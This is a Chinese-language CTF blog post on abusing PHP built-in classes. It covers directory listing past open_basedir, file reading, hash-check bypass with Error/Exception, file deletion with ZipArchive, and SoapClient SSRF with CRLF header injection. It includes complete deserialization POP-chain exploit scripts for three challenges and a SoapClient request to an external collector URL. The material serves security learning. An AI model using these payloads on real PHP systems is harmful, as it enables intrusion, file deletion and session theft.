php原生类

php原生类

php的内置类,即不需要在当前脚本写出,但也可以实例化的类

可通过一个脚本寻找php中的原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

在这里插入图片描述

比赛中常用的有以下几个

Error
Exception
SoapClient
DirectoryIterator
Filesystemlterator
SimpleXMLElement

按照用途可分为以下几个

遍历目录

DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

查阅官方文档,可以发现

image-20220701122449800

FilesystemIteratorDirectoryIterator的子类

在DirectoryIterator下是有__toString()方法

image-20220701122500672

<?php
$dirname = new DirectoryIterator("/");
echo $dirname;

这样会触发__toString() 方法,输出根目录下的第一个文件名

image-20220701122508941

通过foreach进行循环遍历可输出指定目录下所有文件名

<?php
$dirname = new DirectoryIterator("/");
foreach($dirname as $a){
    echo($a->__toString().'<br>');
}

image-20220701122515462

可以在本地再小小测试下

<?php
highlight_file(__file__);
$shell = $_GET['shell'];
$dir = new DirectoryIterator($shell);
foreach($dir as $f){
    echo($f->__toString().'<br>'); //不加__toString()也可,因为echo时会自动调用
}

image-20220701122526998

可以加上和glob协议的使用,可以更快速精准的查找

image-20220701122533475

FilesystemIterator用法和DirectoryIterator一样

GlobIterator类与前两个类的用法也相似,只是GlobIterator 类支持直接通过模式匹配来寻找文件路径,相当于自身带有glob协议

<?php
$dir = new GlobIterator("/*txt*");
echo $dir;

image-20220701122540908

这三种遍历目录的方法可以无视open_basedir对目录的限制

读取文件

SplFileObject 类

该类的构造方法可以构造一个新的文件对象用于后续的读取。

<?php
highlight_file(__file__);
$context = new SplFileObject('/1.txt');
echo $context;

但每次只能读取文件中的一行内容

image-20220701122549600

同样通过遍历可以读取所有内容

<?php
$context = new SplFileObject('/1.txt');
foreach($context as $f){
    echo($f);
}

image-20220701122555740

有个有趣的东西

<?php
echo ('system')('whoami');

image-20220701122602060

相当于执行了system('whoami')

Error/Exception内置类进行 XSS(日后补充)

Error/Exception内置类绕过哈希比较

Error 是所有PHP内部错误类的基类。

image-20220701122719746

属性

message 错误消息内容

code 错误代码

file 抛出错误的文件名

line 抛出错误的行数

previous 之前抛出的异常

string 字符串形式的堆栈跟踪

trace 数组形式的堆栈跟踪

**Exception **是所有异常的基类

image-20220701122702888

属性

message 异常消息内容

code 异常代码

file 抛出异常的文件名

line 抛出异常在该文件中的行号

previous 之前抛出的异常

string 字符串形式的堆栈跟踪

trace 数组形式的堆栈跟踪

同样的,在这两个类里也有__toString 方法

看看会返回什么

<?php
$a = new Error("test",1);
echo $a;

image-20220701122737334

可以发现返回了错误信息"test"和错误在哪行"3",但是传入的错误代码"1"并没有被回显出来

看下面这个例子

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if($a === $b) {
    echo "a=b";
}
else {
    echo "a!=b";
}
echo "<br>";
if(md5($a) === md5($b)) {
    echo "md5后:a=b";
}
echo "<br>";
if(sha1($a) === sha1($b)) {
    echo "sha1后:a=b";
}

image-20220701122743945

所以可使用这两个类绕过哈希的判断,但是要注意的是Error类是从php7才开始引入的,而Exception类从php5就开始引入了

[2020 极客大挑战]Greatphp

题目源码

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

一个经典的哈希值判断绕过题,使用Error/Exception类绕过

因为过滤了小括号,导致无法使用函数,可以用include直接包含/flag;过滤了引号,可以用url取反绕过

POC

<?php
class SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

在$str前面再加上一个?>是因为Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段无用的信息"Error:......"所以要先用?>闭合一下,变成eval("...Error: ?><?php shell ?>"),这样才能成功执行命令

ZipArchive 类删除文件

ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理

ZipArchive类中存在一个open方法

image-20220701122752272

可以看到,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除

所以在做题时可以利用ZipArchive类调用open方法删除掉waf文件

NepCTF2021 梦里花开牡丹亭

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

pop链

Game::wakeup->login::checking->Open::open

先读shell.php里的内容

if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3")md5解出来就是admin

payload1

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$a=new Game();
$a->file=new Open();
echo base64_encode(serialize($a));
?>

得到shell.php源码

<?php
function shell($cmd){
    if(strlen($cmd)<10){                                                  if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!'); 
    }
}login success you can to open shell file!

再结合open类

class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    
        }
    }
}

必须要不存在waf.txt,才可以执行命令,这里就只能使用ZipArchive 类调用他的open方法来将waf.txt给删除

即构造ZipArchive::open(waf.txt, ZipArchive::OVERWRITE)

payload2

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$a=new Game();
$a->file=new ZipArchive();
$a->filename="waf.txt";
$a->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($a));
?>

执行后即可删除waf.txt,由于shell.php中过滤了很多函数,所以这里可使用n\l /flag读取

payload3

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register="admin";

    public  $file;
    public  $filename='waf.txt';
    public  $content='n\l /flag';
    
    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
		
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('1.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
$a=new Game();
$a->file=new Open();
echo base64_encode(serialize($a));
?>

SoapClient 类进行 SSRF

image-20220701122803711

最主要的是这个类里带有一个__call方法,当__call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求,正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

soap类的构造函数:

public SoapClient::SoapClient(mixed $wsdl [,array $options ])
第一个参数指明是否是wsdl模式,为null则表示非wsdl模式。
第二个参数为一个数组,在wsdl模式下,此参数可选;在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,uri是SOAP服务的目标命名空间。

在了解完参数之后,就可以利用该类来进行ssrf了

首先监听一个网站,这里用的是RequestBin

image-20220701122809751

test1.php

<?php
$a = new SoapClient(null,array('location'=>'https://requestbin.io/103buei1', 'uri'=>'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

运行test.php后

image-20220701122818957

可以看到成功进行了ssrf

配合CRLF可以插入任意HTTP头

CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)。

test2.php

<?php
$target = 'https://requestbin.io/103buei1';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "test\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

image-20220701122825870

成功插入自定义的Cookie

还有一个需要注意的点,因为我们传输的是POST数据,所以这里还需要令Content-Type的值为application/x-www-form-urlencoded

这里因为Content-TypeUser-Agent的下面,所以我们可以通过更改User-Agent的值来替换掉原来的Content-Type的值

test3.php

<?php
$target = 'https://requestbin.io/103buei1';
$data = 'test';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=test'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'Test^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($data).'^^^^'.$data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();
?>

image-20220701122834836

[MRCTF2020]Ezpop_Revenge

打开题目,是一个Typecho写的页面,dirsearch扫出www.zip

flag.php

image-20220701122842881

很明显的这是个ssrf+反序列化的题目,所以想到利用SoapClient类来实现ssrf,当访问后,会把flag写进访问的session

usr\plugins\HelloWorld\Plugin.php中找到触发点

image-20220701122847779

如果存在$_REQUEST['admin'],就会打印出session,正好flag就在session中,同时将对传入的Coincid3nc3参数进行反序列化

同样在Plugin.php中

image-20220701122854670

在HelloWorld_DB类中发现了__wakeup魔术方法

在进行反序列化unserialize时,会调用__wakeup方法

可以发现,在__wakeup()方法内实例化了Typecho_Db

跟进到/var/Typecho/Db.php

image-20220701122900353

其中$adapterName被当成字符串拼接,就会触发__toString

this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
__toString()当一个对象被当作字符串对待的时候,会触发这个魔术方法

全局搜索__toString,跟进到/var/Typecho/Db/Query.php

其中有用的部分

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }
}

其中case Typecho_Db::SELECT=SELECT

class Typecho_Db
{
   const DELETE = 'DELETE';
}

所以如果令$this->_sqlPreBuild['action']为SELECT,就能执行return $this->_adapter->parseSelect($this->_sqlPreBuild);,也就是调用$this->_adapterparseSelect()方法,此时,令$this->_adapterSoapClient类,由于SoapClient类中没有parseSelect()方法,就能触发了SoapClient__call()魔术方法,而__call()正是实现SSRF的关键,关于SoapClient类实现ssrf

所以整体思路就有了

POP链

1、进行反序列化的时候,就会触发__wakeup魔术方法,在__wakeup方法里实例化了Typecho_Db

2、Typecho_Db类中将一个对象当作字符串拼接触发了__toString魔术方法

3、在__toString()内,如果令$_sqlPreBuild['action']SELECT就会触发$_adapterparseSelect()方法

4、令$_adapterSoapClient类,由于SoapClient类中没有parseSelect()方法,就会触发SoapClient__call()魔术方法,实现ssrf

调用点

/var/Typecho/Plugin.php

image-20220701122909354

访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数

exp解析

POC

<?php
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
        $target = 'http://127.0.0.1/flag.php';
        $headers = array(
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=a86167abe7j6mjojp3o5dvkn47'
        );
        $z = new SoapClient(null, array('location' => $target, 'user_agent' => 'aaa^^' . join('^^', $headers), 'uri' => "aaab"));
        $this->_sqlPreBuild = array("action" => "SELECT");
        $this->_adapter = $z;
    }
}

class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    {
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

//下面这个替换函数不知道是来自哪个师傅的
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}

$a = new HelloWorld_DB();
$b = serialize($a);
$c = preg_replace(" /\^\^/", "\r\n", $b);
$d = urlencode($c);
$e = preg_replace('/%00/', '%5c%30%30', $d);
$f = decorate(urldecode($e));
echo base64_encode($f);

1.将小写的s换成大写的S,并添加\00

这是因为private属性会在反序列化的生成一个标志性的%00
1.PHP在序列化时属性为private和protected的变量会引入不可见字符\x00,而在输出和复制的时候可能会遗失这些信息,导致反序列化的时候出现错误。
2.private属性序列化的时候会引入两个\x00,这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至会导致截断,protected属性会引入\x00*\x00。
3.在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

2.添加\r\n,base64编码

因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,所以在UA后加上\r\nCookie: PHPSESSID=xxx就能添加一个Cookie,就能带上session.
自己的PHPSESSID就是访问/page_admin得到的

image-20220701122950219

得到poc后,在/page_admin处POST我们POC生成的payload

image-20220701123001572

就能利用soap类去访问flag.php从而实现SSRF把flag带到session中,最后带上admin参数并将session替换成自己的PHPSESION即可得到flag

posted @ 2022-07-06 14:19  phant0m1  阅读(526)  评论(0编辑  收藏  举报